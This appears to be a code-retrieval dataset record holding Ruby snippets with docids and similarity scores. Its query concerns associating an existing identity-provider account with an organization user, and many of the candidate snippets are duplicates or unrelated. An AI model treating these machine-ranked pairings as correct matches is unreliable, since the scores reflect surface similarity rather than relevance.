"score": "0.5160065", "text": "def packed_update_date\n all_characters[(content_offset + 2)*characters_per_word, 8].join\n end", "title": "" }, { "docid": "ab755afc5ed6456abb95d0f4b37aab0f", "score": "0.5141537", "text": "def modification_date=(_); end", "title": "" }, { "docid": "b47b40b1bc77f0067d63d3e27ace7683", "score": "0.5137613", "text": "def edit_event!(date, event_name, new_name, new_desc)\n return NO_EVENTS_IN_CALENDAR unless events?\n return NO_EVENTS_AT_DATE unless events_at?(date)\n return EVENT_NAME_DOESNOT_EXIST unless event_name_exists?(date, event_name)\n\n events_on_date = @calendar_events[date]\n\n events_on_date[event_name] = new_desc unless new_desc.empty?\n unless new_name.empty?\n events_on_date[new_name] = events_on_date.delete event_name\n events_on_date.delete(event_name)\n end\n SUCCESS\n end", "title": "" }, { "docid": "53525f2a92045c5a73a94447ee962d15", "score": "0.5111887", "text": "def update!(**args)\n @name_info = args[:name_info] if args.key?(:name_info)\n end", "title": "" }, { "docid": "bb9517d31f208c1751673e8408fbe764", "score": "0.5095927", "text": "def showDate(date)\n puts \"#{date}\"\n items = @logHash[date]\n items.each do |item|\n puts \" #{item.name}\"\n end\n end", "title": "" }, { "docid": "8aa7ce0e2da6b0325098907218cc7555", "score": "0.5080532", "text": "def update_event_name\n new_name = self.class.prompt.ask(\"New event name:\")\n self.update(name: new_name)\n end", "title": "" }, { "docid": "3f6a40ecfeff7fe65243f6674dae0430", "score": "0.5078845", "text": "def name=(str) \n self[:name] = compact_string(str); \n end", "title": "" }, { "docid": "3f6a40ecfeff7fe65243f6674dae0430", "score": "0.5078845", "text": "def name=(str) \n self[:name] = compact_string(str); \n end", "title": "" }, { "docid": "a3acf983baafed11ff0f120059bae6a3", "score": "0.50738955", "text": "def logSpecificDate(foodName, date)\n\t\t# Checks for invalid date format\n\t\tif !date.is_a?Date\n\t\t\treturn sysout(\"The date you entered [\" + date.to_s + \"] is not valid date format. \\nUse 'YYYY-MM-DD' or use 'help' command\") if (date =~ /(^\\d{4}-\\d{2}-\\d{2}$)/)== nil\n\t\t\tbegin \n\t\t\t\tdate = Date.strptime(date, \"%Y-%m-%d\") \n\t\t\trescue\n\t\t\t\treturn sysout(\"The date entered is not a valid date\")\n\t\t\tend\n\t\tend\n\n\t\tsysout(\"Note: the food your logging is in the future\") if date > Date.today\n\t\tfoodName.upcase!\n\t\tlogitem = LogItem.new(foodName, date, 1)\n\n\t\tif @log[date] == nil\n\t\t\tdateArray = (Array.new).push(logitem)\n\t\t\t@log[date] = dateArray\n\n\t\telsif @log[date].is_a?Array\n\t\t\tcontains = false\n\t\t\t@log[date].each { |x|\n\t\t\t \tif x.foodName == logitem.foodName\n\t\t\t \t\tx.count += 1\n\t\t\t \t\tcontains = true\n\t\t\t \tend\n\t\t\t}\n\t\t\t@log[date].push(logitem) if !contains\t\t\t\n\n\n\t\telse\n\t\t\tputs \"Error in logSpecificDate: Array never initialized\"\n\t\tend\n\t\t\n\n\n\tend", "title": "" }, { "docid": "eb2df74d653a2fa85479ddc74512711e", "score": "0.5064419", "text": "def entity_date(str)\n Time.at(str[/\\d{6,}/].to_i / 1000)\n end", "title": "" }, { "docid": "6f0294baa04db18bed3820aa7d9390be", "score": "0.50592774", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @display_name = args[:display_name] if args.key?(:display_name)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "title": "" }, { "docid": "6f0294baa04db18bed3820aa7d9390be", "score": "0.50592774", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @display_name = args[:display_name] if args.key?(:display_name)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "title": "" }, { "docid": "f0ea50cf0b4b4aa53a447acdbda3b8ad", "score": "0.5056286", "text": "def update_object(new_name, log)\n self.name = new_name\n save\n observation.log(:log_naming_updated,\n name: format_name, touch: log)\n true\n end", "title": "" }, { "docid": "8cad6c289687795ce39ae1ab3ac16021", "score": "0.5054404", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n @vulnerabilities = args[:vulnerabilities] if args.key?(:vulnerabilities)\n end", "title": "" }, { "docid": "0a3e9ef609796144dd93f845f692b7c9", "score": "0.50470126", "text": "def available_at_date_string=(date_str)\n @available_at_date_string = date_str\n end", "title": "" }, { "docid": "b2f9bdb512d34d87df67a83407654756", "score": "0.50403225", "text": "def update_name\n # Updating user nickname part\n @user = User.find(session[:id])\n @user.update(name: params.require(:user).permit(:name)[:name])\n \n # Create data in days table\n @day = @user.days.create(uid: @user[:uid], name: @user[:name], day: @date.strftime(\"%Y-%m-%d\"))\n\n redirect_to \"/main/#{@date.strftime(\"%Y-%m-%d\")}\"\n end", "title": "" }, { "docid": "8762c56db6ae7043104560fbc2be12de", "score": "0.5036088", "text": "def update!(**args)\n @data_catalog_timestamps = args[:data_catalog_timestamps] if args.key?(:data_catalog_timestamps)\n @description = args[:description] if args.key?(:description)\n @display_name = args[:display_name] if args.key?(:display_name)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "d5651156220819cc2f6a78218eaa3bee", "score": "0.50277317", "text": "def delete(name,date)\n\t\tname.upcase!\n\t\t if !date.is_a?Date\n\t\t \treturn sysout(\"The date you entered [\" + date.to_s + \"] is not valid date format. \\nUse 'YYYY-MM-DD' or use 'help' command\") if (date=~(/(^\\d{4}-\\d{2}-\\d{2}$)/)) == nil\n\t\t\tbegin \n\t\t\t\tdate = Date.strptime(date, \"%Y-%m-%d\") \n\t\t\trescue\n\t\t\t\treturn sysout(\"The date entered is not a valid date\")\n\t\t\tend\n\t\tend\n\n\t\t## Date should be Date Object\n\n\t\tif @log[date] == nil\n\t\t\treturn sysout(\"Error, there is no log for the date: \" + date.to_s)\n\t\telse\n\t\t\t\n\t\t\t# tentatively nice solution @log[date].delete_if{ |x| x.foodName == name && x.count < 2}\n\t\t\tdeleted = false\n\t\t\t@log[date].each{ |logEntry| \n\t\t\t\tif logEntry.foodName == name\n\t\t\t\t\tif logEntry.count > 1\n\t\t\t\t\t\tlogEntry.count -= 1\n\t\t\t\t\t\tdeleted = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse \n\t\t\t\t\t\t@log[date].delete(logEntry)\n\t\t\t\t\t\tdeleted = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t}\n\t\t\tsysout(\"Error: No such food [\" + name + \"] on date \" + date.to_s ) if !deleted\n\n\t\tend\n\t\t#@log[date] = nil if @log[date].size == 0\n\t\t@log.delete_if{ |k,v| v.size == 0}\n\tend", "title": "" }, { "docid": "38a6916e781a22475faaa0a50355a308", "score": "0.50231016", "text": "def data_upload_date\n formatted_timestamp(data['modifyDate'])\n end", "title": "" }, { "docid": "0b91cd053848472897373436629af108", "score": "0.50194114", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @version = args[:version] if args.key?(:version)\n end", "title": "" }, { "docid": "83baa623632aaec0d33320ce202a4ce5", "score": "0.50179803", "text": "def name_record() @records.get(GRT_STRNAME); end", "title": "" }, { "docid": "69aafbb37983b6e548721404661713a6", "score": "0.5011551", "text": "def update_research_name\n res_name = I18n.transliterate(Tag.sanitize_name(self.name)).to_s\n self.update_column(:research_name, res_name)\n end", "title": "" }, { "docid": "2ce1a62fd9a7d05f015552d2d3dc3fe4", "score": "0.5003428", "text": "def update!(**args)\n @new_name = args[:new_name] if args.key?(:new_name)\n @original_name = args[:original_name] if args.key?(:original_name)\n end", "title": "" }, { "docid": "e3dce5a9f1c9a9f7b29b23c939aa3146", "score": "0.4995041", "text": "def date(date_name)\r\n case date_name\r\n when :start\r\n return self.accommodation_histories.last.from\r\n when :end\r\n return self.accommodation_histories.last.to\r\n else\r\n return 0\r\n end\r\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "215e247ec23e153668686e3c1c276a44", "score": "0.49912584", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "bb95f1d29f76aa938ad59dfe96df09a9", "score": "0.49678835", "text": "def name str = nil\n return @name if str.nil?\n @name = str\n end", "title": "" }, { "docid": "0939a8592bc180bd19266e5d47acc753", "score": "0.49599242", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @time_zone = args[:time_zone] if args.key?(:time_zone)\n end", "title": "" }, { "docid": "96ba2496513592ee252571afcef2fdb6", "score": "0.4958188", "text": "def released_on=date\n super DateTime.strptime(date, '%m/%d/%Y')\n end", "title": "" }, { "docid": "1782141a08fbfa1d8b352363c5321d5f", "score": "0.49571753", "text": "def update!(**args)\n @amount = args[:amount] if args.key?(:amount)\n @date = args[:date] if args.key?(:date)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "bfc98693dcfe5195e00c96b7c8fc1957", "score": "0.4956143", "text": "def date_str d\n Util::date(d)\n end", "title": "" }, { "docid": "190b5a45c1066274880ec3f45c9d6ab6", "score": "0.4954111", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @name = args[:name] if args.key?(:name)\n @origin = args[:origin] if args.key?(:origin)\n @parent = args[:parent] if args.key?(:parent)\n @reason = args[:reason] if args.key?(:reason)\n @restrictions = args[:restrictions] if args.key?(:restrictions)\n end", "title": "" }, { "docid": "ab747953ece4a078beb264e649446804", "score": "0.49520808", "text": "def add_episode_name(show_hash)\n \t@latest_episode_name = show_hash[:latest_episode_name]\n end", "title": "" }, { "docid": "b0581cf6ffe1adf222f75cf7a7343941", "score": "0.494593", "text": "def remove(name, date)\n if @log.has_key? date\n @log[date].each do |item|\n if name.eql? item.name\n @log[date].delete(item)\n end\n end\n end\n if @log[date].eql? [] ##deletes key if array on date is empty\n @log.delete(date)\n end\n end", "title": "" }, { "docid": "37be2e9f25c0b272413c51b52a6d67dc", "score": "0.4941807", "text": "def svn_date(a_time)\n a_time.strftime(\"%Y-%m-%d\")\nend", "title": "" }, { "docid": "3167d8a5cd39b917327f591e1f2518e0", "score": "0.49363866", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @display_name = args[:display_name] if args.key?(:display_name)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n @value = args[:value] if args.key?(:value)\n end", "title": "" }, { "docid": "ab1dca89bc1c1f94968a862a178ff46b", "score": "0.49261498", "text": "def update(text)\n\t\t@modification_date = DateTime.now.strftime('%Y-%m-%d %H:%M')\n\t\t@text = text\n\tend", "title": "" }, { "docid": "e0d58025fa40a569c84f6549a75420f5", "score": "0.49250054", "text": "def update\n @entry = Entry.find(params[:id])\n \n unless params[:entry][:date].nil?\n params[:entry][:date] = Date.strptime(params[:entry][:date], '%m/%d/%Y')\n end\n\n unless params[:entry][:invoice_date].nil?\n puts \"date submitted\"\n params[:entry][:invoice_date] = Date.strptime(params[:entry][:invoice_date], '%m/%d/%Y')\n \n end\n\n\n\n respond_to do |format|\n if @entry.update_attributes(params[:entry])\n format.html { redirect_to manage_entry_path(@entry), notice: 'Entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eff1b115672c0a0aeaccc3ce72db36f0", "score": "0.4924127", "text": "def initialize(name)\n\n @name = name # The name of the entry\n\n end", "title": "" }, { "docid": "ddde3dc37cc9622997ca235bbcfb2aaa", "score": "0.49048355", "text": "def view_date(str)\r\n\t\t(wday,day,mon,year,hhmmss,etc) = str.to_s.split(/ /)\r\n\t\tmonth = @months[mon]\r\n\t\tstr = \"#{year}\\/#{month}\\/#{day} #{hhmmss}\"\r\n\t\treturn str\r\n\tend", "title": "" }, { "docid": "c92d3fe335583efab2a56bde59f0c8fc", "score": "0.49038458", "text": "def modification_date; end", "title": "" }, { "docid": "8de5834bba85fb32d05a46d4f4d22dbd", "score": "0.4895679", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "a18f6c7677a0c8d2da230d62da2d892f", "score": "0.48955584", "text": "def name=(str); dirty!; super; end", "title": "" }, { "docid": "a8becbac27857e01c514ba360eb0c84f", "score": "0.4889166", "text": "def file_name_from_object_name(object_name)\n object_name.gsub(OBJECT_DATE_REGEXP, '')\n end", "title": "" }, { "docid": "9681b02fadfa2385906c9d8e697a50bf", "score": "0.48816124", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @display_name = args[:display_name] if args.key?(:display_name)\n @etag = args[:etag] if args.key?(:etag)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "title": "" }, { "docid": "1c816389ad9e18e352309087bd365943", "score": "0.48814324", "text": "def update!(**args)\n @creation_time = args[:creation_time] if args.key?(:creation_time)\n @display_name = args[:display_name] if args.key?(:display_name)\n @lifecycle_state = args[:lifecycle_state] if args.key?(:lifecycle_state)\n @name = args[:name] if args.key?(:name)\n @owner = args[:owner] if args.key?(:owner)\n end", "title": "" }, { "docid": "a526830fa5be8f2262ebfb5c383774dd", "score": "0.48793632", "text": "def initialize(name:\"\", age:\"\", date:\"\", cause:\"\", info:\"\")\n @name = name\n @age = age\n @date = date\n @cause = cause\n @info = info\n end", "title": "" }, { "docid": "4735cc86ac543559dcb598a1c9de7cb7", "score": "0.48746338", "text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @dedicated_resources = args[:dedicated_resources] if args.key?(:dedicated_resources)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "d67e34bd13ad1836a0e9e3f1e3ce0011", "score": "0.48720258", "text": "def update!(**args)\n @date = args[:date] if args.key?(:date)\n @value = args[:value] if args.key?(:value)\n end", "title": "" }, { "docid": "e16be4cd3690b2ec40635ff78c0b2e7a", "score": "0.4865733", "text": "def date() updated; end", "title": "" }, { "docid": "b86997be276258d2a4ca029489ebe79d", "score": "0.48644584", "text": "def find_entry(entry_name); end", "title": "" }, { "docid": "963495042d3ec73028d6ed8780dbfc55", "score": "0.48620722", "text": "def name= new_name\n @gapi.update! name: String(new_name)\n end", "title": "" }, { "docid": "41f79f9d3531b10e89d0eb24d7ca651e", "score": "0.48574427", "text": "def update_name\n # update the name so it includes the standard_template string\n name_array = [@standard_template]\n name_array << get_building_type\n @building_sections.each do |bld_tp|\n name_array << bld_tp.standards_building_type\n end\n name_array << @name if !@name.nil? && !@name == ''\n @name = name_array.join('|').to_s\n end", "title": "" } ]
19482cbb5b38d3f40450f2bbb172fb90
Associate to an user an already existing identity Associate to an user of the organization an already existing identity of a provider. The _provider_data_ field is an object and is different for each provider. The minimum set of information to provide as provider_data is the following: aruba _auth_domain_ : string _username_ : string _password_ : string arubaauto _auth_domain_ : string _username_ : string _password_ : string infocert _username_ : string _password_ : string namirial _id_titolare_ : string _id_otp_ : string _username_ : string _password_ : string
[ { "docid": "8aa0b8c0414e839088a5d89b7fd421f5", "score": "0.0", "text": "def associate_identity_with_http_info(organization_id, user_id, identity_association, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IdentitiesApi.associate_identity ...'\n end\n # verify the required parameter 'organization_id' is set\n if @api_client.config.client_side_validation && organization_id.nil?\n fail ArgumentError, \"Missing the required parameter 'organization_id' when calling IdentitiesApi.associate_identity\"\n end\n # verify the required parameter 'user_id' is set\n if @api_client.config.client_side_validation && user_id.nil?\n fail ArgumentError, \"Missing the required parameter 'user_id' when calling IdentitiesApi.associate_identity\"\n end\n # verify the required parameter 'identity_association' is set\n if @api_client.config.client_side_validation && identity_association.nil?\n fail ArgumentError, \"Missing the required parameter 'identity_association' when calling IdentitiesApi.associate_identity\"\n end\n # resource path\n local_var_path = '/{organization-id}/users/{user-id}/wallet'.sub('{' + 'organization-id' + '}', CGI.escape(organization_id.to_s).gsub('%2F', '/')).sub('{' + 'user-id' + '}', CGI.escape(user_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(identity_association) \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse2004' \n\n # auth_names\n auth_names = opts[:auth_names] || ['ApiKeyAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IdentitiesApi#associate_identity\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "b24896a3fdb73f018b8a485b5b33bdee", "score": "0.69161224", "text": "def add_provider_auth(auth_info)\n pa = self.provider_authorizations.build\n pa.assign_auth_info(auth_info)\n pa.auth_info = auth_info\n pa.save\n pa\n end", "title": "" }, { "docid": "9ada173d14af4b4edac8a6b57d186129", "score": "0.6612279", "text": "def add_provider_to_user(provider_name)\n sorcery_fetch_user_hash provider_name\n # config = user_class.sorcery_config # TODO: Unused, remove?\n\n current_user.add_provider_to_user(provider_name.to_s, @user_hash[:uid].to_s)\n end", "title": "" }, { "docid": "b2242da8583bca3785857a3cbd687541", "score": "0.654657", "text": "def add_provider auth_hash\n self.authorizations.create_with_omniauth auth\n end", "title": "" }, { "docid": "4f10302d58b3250d18d69393fcb4a8b0", "score": "0.65402734", "text": "def add_identity(provider, uid, options={})\n attrs = {\n provider: provider,\n uid: uid\n }\n self.identities.first_or_create attrs.merge(options)\n end", "title": "" }, { "docid": "5fe1703387b042236e1a063f38fd2f9b", "score": "0.6451823", "text": "def provider_data\n providers = @data[\"providerUserInfo\"] || []\n providers.to_a.map { |p| UserInfo.new(p) }\n end", "title": "" }, { "docid": "f0ebc95fe2fd1945f770541e03175bb9", "score": "0.6179184", "text": "def create_with_omniauth(data)\n providers = Devise.omniauth_providers\n if data.provider.to_sym.in? providers\n send(\"create_\" + data.provider + \"_user\", data)\n else\n User.new\n end\n end", "title": "" }, { "docid": "f1b68749270a6bb2dda86ada2951de46", "score": "0.61767405", "text": "def provider_identity\n @provider_identity ||= raw_info[\"identities\"].find {|id| id[\"provider\"] == raw_info[\"provider\"]}\n end", "title": "" }, { "docid": "3ae6a39b22543a1cde1b38309ff5e679", "score": "0.6174666", "text": "def set_provider\n @provider = current_user.providers.find(params[:id])\n end", "title": "" }, { "docid": "8946ee9888eb45a06e98e5d027a2c43c", "score": "0.61557555", "text": "def assign_provider_attrs(user, auth_hash)\n if auth_hash['provider'] == 'facebook' || auth_hash['provider'] == 'google_oauth2'\n user.assign_attributes({\n nickname: user.nickname || auth_hash['info']['nickname'],\n name: auth_hash['info']['name'],\n image: auth_hash['info']['image'],\n email: auth_hash['info']['email']\n })\n else\n super\n end\n end", "title": "" }, { "docid": "441fbc171ea37aae92d20d060390922c", "score": "0.6153824", "text": "def set_provider_info\n @provider_info = ProviderInfo.find(params[:id])\n end", "title": "" }, { "docid": "b111dcfb2e02b098fac78dbb81a5b282", "score": "0.6141118", "text": "def create_identity_provider(identity_provider_id, request)\n start.uri('/api/identity-provider')\n .url_segment(identity_provider_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "19de8bddea5c984ff23cb24f4cc92d4e", "score": "0.61378074", "text": "def create_identity_provider(identity_provider_id, request)\n start.uri('/api/identity-provider')\n .url_segment(identity_provider_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "366478b8e5dd8a0400f77b332868f872", "score": "0.61223406", "text": "def assign_provider_attrs(user, auth_hash)\n user.assign_attributes(nickname: auth_hash['info']['nickname'] || auth_hash['info']['name'],\n name: auth_hash['info']['name'],\n image: auth_hash['info']['image'],\n email: auth_hash['info']['email'])\n end", "title": "" }, { "docid": "9d77e7f4f5cb6c278cbb3d17c201ec54", "score": "0.6120111", "text": "def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n \n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end", "title": "" }, { "docid": "d5dc4ddd8aaff6886f55dfd61ee065d4", "score": "0.61149985", "text": "def update_identity_provider(identity_provider_id, request)\n start.uri('/api/identity-provider')\n .url_segment(identity_provider_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "7dd69f9d6f736c6c408ef6fb36bfaed1", "score": "0.61134773", "text": "def update_identity_provider(identity_provider_id, request)\n start.uri('/api/identity-provider')\n .url_segment(identity_provider_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "903a93b7a32e15d832d3a0624791de00", "score": "0.6075389", "text": "def set_provider\n @provider = Provider.where(user_id: session[:user][\"id\"], id: params[:id]).first\n end", "title": "" }, { "docid": "8425dfbf2b06faacf9c855fdb17496ce", "score": "0.6065546", "text": "def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n apply_trusted_services(omniauth) if self.new_record?\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end", "title": "" }, { "docid": "8425dfbf2b06faacf9c855fdb17496ce", "score": "0.6065546", "text": "def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n apply_trusted_services(omniauth) if self.new_record?\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end", "title": "" }, { "docid": "a90f2c565c0911db78043f97ee567f30", "score": "0.60508335", "text": "def authenticate_with_provider\n # step 1: Use email to figure out if user exists\n self.user = User.find_by(email: params[:email])\n\n # step 2: Create new user if non-existent\n # :info was already accessed in ConnectionsController auth_hash method, that's why I can do image: params[:image] directly\n if self.user.blank?\n self.user = User.create!(\n name: params[:name],\n email: params[:email],\n remote_image_url: params[:image],\n # SecureRandom.hex -> Generates fake random password to get across has secure password (requires password to be present)\n password: SecureRandom.hex(30)\n )\n end\n\n # step 3: Get oauth token for user & return user\n grant_access\n fetch_oauth_token\n\n self.user\n end", "title": "" }, { "docid": "eb32899d35b3f34036bcf51a2db30c5d", "score": "0.60456264", "text": "def set_provider\n self.provider = provider_account.provider.imagefactory_info.to_json\n end", "title": "" }, { "docid": "8a9e59d6b64b36e8b2e24822b4f4c28c", "score": "0.6025155", "text": "def set_user_provider\n @user_provider = UserProvider.find(params[:id])\n end", "title": "" }, { "docid": "e65edcc3791f3b111fb8533243141b4c", "score": "0.59929687", "text": "def set_identity_provider\n @identity_provider = IdentityProvider.find(params[:id])\n end", "title": "" }, { "docid": "2117dfa1c78e86501fa3df6b2d8d6cc0", "score": "0.59900826", "text": "def create\n @provider = Provider.new(provider_params)\n @provider.user_id = session[:user][\"id\"]\n begin\n # To avoid issues with Discovery Endpoints that do not support CORS, lets just\n # discover the info server-side, and populate the database with it\n @provider_info = OpenIDConnect::Discovery::Provider::Config.discover!(@provider.provider)\n logger.debug \"provider info: #{@provider_info.inspect}\"\n logger.debug \"issuer: #{@provider.issuer} #{@provider.issuer.inspect} #{@provider.issuer.class}\"\n if @provider.issuer.blank?\n @provider.issuer = @provider_info.issuer\n end\n if @provider.authorization_endpoint.blank?\n @provider.authorization_endpoint = @provider_info.authorization_endpoint\n end\n if @provider.userinfo_endpoint.blank?\n @provider.userinfo_endpoint = @provider_info.userinfo_endpoint\n end\n if @provider.jwks_uri.blank?\n @provider.jwks_uri = @provider_info.jwks_uri\n end\n rescue => e\n logger.error e.message\n flash[:error] = \"Error with Provider Discovery: #{e.message} -- Fill in the rest of the manual endpoints!\"\n end\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d6431d299cb20de2530bf2b47bb15848", "score": "0.5984431", "text": "def apply_omniauth(omniauth)\n self.email = omniauth['info']['email'] if email.blank?\n self.firstname = omniauth['info']['first_name']\n self.lastname = omniauth['info']['last_name']\n self.photourl = omniauth['info']['image']\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end", "title": "" }, { "docid": "571935039395c93c3e6fcf2986a6b2a1", "score": "0.59784377", "text": "def associate_user_with_profile!(user, profile)\n profile.update!(user_id: user.id) if profile.user != user\n if profile.provider.to_s.capitalize == 'Facebook'\n user.update!(facebook_user_name: profile.username)\n elsif profile.provider.to_s.capitalize == 'Twitter'\n user.update!(twitter_user_name: profile.username)\n end\n end", "title": "" }, { "docid": "bd32d482ffc055a3a38b35cc7967b381", "score": "0.59728044", "text": "def apply_omniauth (omniauth)\n # Note that we use string keys (not symbols) for the 'omniauth' hash.\n # This is because depending on where 'apply_omniauth' is called from (from\n # 'from_omniauth' or 'new_with_session'), the hash provided may or may not\n # accept symbols as keys, but it always accepts strings.\n self.email = omniauth['info']['email'] if self.email.blank?\n authentications.build provider: omniauth['provider'], uid: omniauth['uid']\n end", "title": "" }, { "docid": "0b434f21147d7c66403800527de32b03", "score": "0.59650123", "text": "def assign_provider_attrs(user, auth_hash)\n user.assign_attributes({\n nickname: auth_hash['info']['nickname'],\n name: auth_hash['info']['name'],\n image: auth_hash['info']['image'],\n email: auth_hash['info']['email']\n })\n end", "title": "" }, { "docid": "1e9eece53b71486546a5e70390ab92fa", "score": "0.5957022", "text": "def assign_provider_attrs(user, auth_hash)\n p \"#{auth_hash['info']['image']}\"\n user.name = auth_hash['info']['first_name'] || user.name\n user.lastname = auth_hash['info']['last_name'] || user.lastname\n user.save\n end", "title": "" }, { "docid": "9210188fc33ee4b09e444e75782feb29", "score": "0.5947184", "text": "def set_identity_provider\n @identity_provider = IdentityProvider.find(params[:id])\n end", "title": "" }, { "docid": "08c048f6506c630f217735c687764f95", "score": "0.5942073", "text": "def apply_omniauth(omniauth)\n self.email = omniauth['info']['email'] if email.blank?\n self.role = \"notadmin\"\n \n self.username = 